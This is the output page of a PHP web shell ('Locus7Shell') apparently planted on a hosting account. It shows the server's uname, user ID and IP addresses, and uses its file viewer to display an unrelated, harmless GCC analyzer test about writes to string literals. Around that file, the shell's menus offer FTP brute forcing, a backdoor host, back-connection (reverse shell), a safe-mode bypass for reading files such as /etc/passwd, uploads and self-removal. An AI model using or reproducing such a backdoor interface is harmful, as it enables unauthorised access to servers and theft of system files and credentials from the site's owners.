Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/analyzer/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     write-to-string-literal-3.c (2.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
typedef __SIZE_TYPE__ size_t;

void read_only (void *)
  __attribute__ ((access (read_only, 1)));
void write_only (void *) /* { dg-message "parameter 1 of 'write_only' marked with attribute 'access \\(write_only, 1\\)'" } */
  __attribute__ ((access (write_only, 1)));
void read_write (void *) /* { dg-message "parameter 1 of 'read_write' marked with attribute 'access \\(read_write, 1\\)'" } */
  __attribute__ ((access (read_write, 1)));
void none (void *)
  __attribute__ ((access (none, 1)));
void read_only_with_size (void *, size_t)
  __attribute__ ((access (read_only, 1, 2)));
void write_only_with_size (void *, size_t) /* { dg-message "parameter 1 of 'write_only_with_size' marked with attribute 'access \\(write_only, 1, 2\\)'" } */
  __attribute__ ((access (write_only, 1, 2)));
void read_write_with_size (void *, size_t) /* { dg-message "parameter 1 of 'read_write_with_size' marked with attribute 'access \\(read_write, 1, 2\\)'" } */
  __attribute__ ((access (read_write, 1, 2)));
void none_with_size (void *, size_t)
  __attribute__ ((access (none, 1, 2)));

void test_read_only (void)
{
  const char *str = "hello world";
  read_only ((char *)str);
}

void test_write_only (void)
{
  const char *str = "hello world";
  write_only ((char *)str); /* { dg-warning "write to string literal" } */
}

void test_read_write (void)
{
  const char *str = "hello world";
  read_write ((char *)str); /* { dg-warning "write to string literal" } */
}

void test_none (void)
{
  const char *str = "hello world";
  none ((char *)str);
}

void test_read_only_with_size (void)
{
  const char *str = "hello world";
  read_only_with_size ((char *)str, sizeof (str));
}

void test_write_only_with_size (void)
{
  const char *str = "hello world";
  write_only_with_size ((char *)str, sizeof (str)); /* { dg-warning "write to string literal" } */
}

void test_read_write_with_size (void)
{
  const char *str = "hello world";
  read_write_with_size ((char *)str, sizeof (str)); /* { dg-warning "write to string literal" } */
}

void test_none_with_size (void)
{
  const char *str = "hello world";
  none_with_size ((char *)str, sizeof (str));
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.006 ]--